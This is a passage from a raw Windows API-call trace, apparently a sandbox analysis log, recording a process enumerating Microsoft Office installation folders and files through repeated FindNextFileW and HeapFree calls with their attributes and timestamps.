ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0077.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.768] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0077.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.769] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1 [0077.770] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.770] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0077.771] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.771] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0077.772] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.772] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0077.773] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.773] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0077.773] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.773] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0077.774] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.774] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1 [0077.775] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.775] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1 [0077.776] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.777] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0077.778] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.778] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1 [0077.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.779] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1 [0077.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.780] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0077.781] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.781] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0077.782] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.782] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0078.409] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0078.425] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0078.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.430] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0078.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.430] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1 [0078.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.430] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1 [0078.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.430] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0078.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.430] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0078.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.431] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1 [0078.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.431] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0078.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.431] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0078.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.431] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0078.431] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.431] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0078.432] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.433] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0078.433] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.433] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0078.433] FindClose (in: hFindFile=0x5830c8 | out: hFindFile=0x5830c8) returned 1 [0078.433] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0078.433] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0078.437] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0078.437] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0078.441] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0078.441] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0078.445] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0078.445] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1 [0078.445] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.446] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0078.446] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.446] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0078.446] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.446] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1 [0078.447] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0078.447] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1 [0078.449] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0078.449] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0078.805] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0078.806] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, 